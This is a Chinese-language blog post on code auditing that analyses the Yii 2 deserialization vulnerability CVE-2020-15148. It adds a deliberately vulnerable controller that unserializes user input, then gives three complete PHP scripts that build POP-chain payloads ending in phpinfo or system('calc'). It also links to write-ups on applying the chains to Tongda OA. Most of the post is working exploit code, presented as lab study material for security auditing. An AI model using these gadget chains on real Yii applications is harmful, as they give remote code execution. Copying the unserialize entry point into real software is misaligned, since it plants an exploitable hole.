PHP框架开发篇&Yii反序列化&POP利用链&某达OA&某商城&CVE分析

Ethan医生5个月前代码审计147


参考资料:CVE-2020-15148漏洞分析

https://www.extrader.top/posts/c79847ee

https://www.anquanke.com/post/id/254429

https://blog.csdn.net/unexpectedthing/article/details/123829375

 

1、环境部署:

phpstudy php7.4.3 Apache Yii-2.0.37

 

2、添加入口:

controllers/TestController.php

<?php

namespace app\controllers;

 

use yii\web\Controller;

 

class TestController extends Controller{

public function actionTest($data){

return unserialize(base64_decode($data));

}

}

 

3、反序列化链分析:

#POP链1:

yii\db\BatchQueryResult::__destruct()->reset()->close()

->$_dataReader

GuzzleHttp\Psr7::close()->call_user_func

->$_fn_close

 

<?php

//GuzzleHttp\Psr7::close()->call_user_func

//->$_fn_close

namespace GuzzleHttp\Psr7{

class FnStream{

var $_fn_close = "phpinfo";

}

}

 

//yii\db\BatchQueryResult::__destruct()->reset()->close()

//->$_dataReader

namespace yii\db{

use GuzzleHttp\Psr7\FnStream;

class BatchQueryResult{

private $_dataReader;

public function __construct()

{

$this->_dataReader=new FnStream();

}

}

}

 

namespace{

use yii\db\BatchQueryResult;

echo base64_encode(serialize(new BatchQueryResult()));

}

 

 

#POP链2:

yii\db\BatchQueryResult::__destruct()->reset()->close()

->$_dataReader

Faker\Generator::__call()->format()->call_user_func_array()

->$formatters['close']

\yii\rest\IndexAction::run->call_user_func()

->$checkAccess $id

 

<?php

//\yii\rest\IndexAction::run->call_user_func()

//->$checkAccess $id

namespace yii\rest{

class IndexAction

{

public $checkAccess;

public $id;

 

public function __construct()

{

$this->checkAccess = 'system';

$this->id = 'calc';

}

}

}

//Faker\Generator::__call()->format()->call_user_func_array()

//->$formatters['close']

namespace Faker{

use \yii\rest\IndexAction;

class Generator{

protected $formatters = array();

 

 

public function __construct()

{

$this->formatters['close'] = [new IndexAction(), 'run'];

}

}

}

//yii\db\BatchQueryResult::__destruct()->reset()->close()

//->$_dataReader

namespace yii\db{

use Faker\Generator;

class BatchQueryResult{

private $_dataReader;

public function __construct()

{

$this->_dataReader=new Generator();

}

}

 

}

 

namespace{

use yii\db\BatchQueryResult;

echo base64_encode(serialize(new BatchQueryResult()));

}

 

 

#POP链3:

yii\db\BatchQueryResult::__destruct()->reset()->close()

->$_dataReader

Faker\Generator::__call()->format()->call_user_func_array()

->$formatters['close']

\yii\rest\CreateAction::run->call_user_func()

->$checkAccess $id

 

<?php

//\yii\rest\CreateAction::run->call_user_func()

//->$checkAccess $id

namespace yii\rest{

class CreateAction{

public $checkAccess;

public $id;

public function __construct(){

$this->checkAccess = 'system';

$this->id = 'calc'; //命令执行

}

}

}

 

//Faker\Generator::__call()->format()->call_user_func_array()

//->$formatters['close']

namespace Faker {

use yii\rest\CreateAction;

class Generator

{

protected $formatters;

public function __construct()

{

$this->formatters['close'] = [new CreateAction(), 'run'];

}

}

}

 

//yii\db\BatchQueryResult::__destruct()->reset()->close()

//->$_dataReader

namespace yii\db{

use Faker\Generator;

class BatchQueryResult{

private $_dataReader;

public function __construct()

{

$this->_dataReader=new Generator();

}

}

}

 

namespace{

use yii\db\BatchQueryResult;

echo base64_encode(serialize(new BatchQueryResult()));

}

 

#实际结合:

1、通达OA-Yii反序列化结合

https://xz.aliyun.com/t/12855

https://forum.butian.net/index.php/share/2415

2、攻防演练审计和0day漏洞挖掘

https://mp.weixin.qq.com/s/L5uklnBuolfqEg-bR4V0rQ


标签: PHPYii

相关文章

PHP框架开发篇&ThinkPHP&反序列化&POP利用链&RCE执行&文件删除

PHP框架开发篇&ThinkPHP&反序列化&POP利用链&RCE执行&文件删除

#框架审计总结方向:1、版本不安全写法怎么检测-本地复现版本写法对比-参考官方开发手册写法2、版本自身的漏洞怎么检测-平常多关注此类框架漏洞-配合黑盒工具检测找入口https://github.com...

JavaEE开发篇&手搓内存马&Listen监听器&Filter过滤器&Servlet路由器

JavaEE开发篇&手搓内存马&Listen监听器&Filter过滤器&Servlet路由器

#知识预备:1、三大类:Listen,Filter,Servlet2、内存马技术解读(类型,植入,查杀等)3、其他技术原理分类(见上图见打包资源)(红队方向)了解什么是内存马,它有那些类型,和常规Sh...

IAST&SAST项目篇&CodeQL拓展&火线洞态&Agent部署&DevSecOps

IAST&SAST项目篇&CodeQL拓展&火线洞态&Agent部署&DevSecOps

#SAST-CodeQL&CodeQLpy-JAVA测评:若依系统&Tmall商城在官方规则引擎下升级Java检测https://github.com/webraybtl/codeQl...

PHP原生开发篇&文件安全&上传监控&功能定位&关键搜索&1day挖掘

PHP原生开发篇&文件安全&上传监控&功能定位&关键搜索&1day挖掘

快速分析脆弱:1、看文件路径2、看代码里面的变量(可控)3、看变量前后的过滤 文件安全挖掘点:1、脚本文件名2、应用功能点3、操作关键字文件上传,文件下载(读取),文件包含,文件删除等&nb...

代码审计-JavaEE开发篇&第三方组件&依赖库挖掘&FastJson&Shrio&Log4j&H2DB

#JavaEE审计-第三方组件安全1、找存在漏洞的第三方组件(Package Checker插件)2、找组件漏洞利用入口条件(根据网上已知漏洞复现条件)3、找可控地方进行测试检测(根据网上已知漏洞利用...

ASP.NET开发篇&编译继承架构&DLL反编译&MSSQL监控&SQL注入挖掘

ASPX文件->CS ASPX.CS DLL反编译后寻找 看核心代码分析漏洞CS ASPX.CS DLL反编译文件->ASPX文件寻找 确定漏洞进行调试测试代码审计时要把这个反编译文件提取...

发表评论    

◎欢迎参与讨论,请在这里发表您的看法、交流您的观点。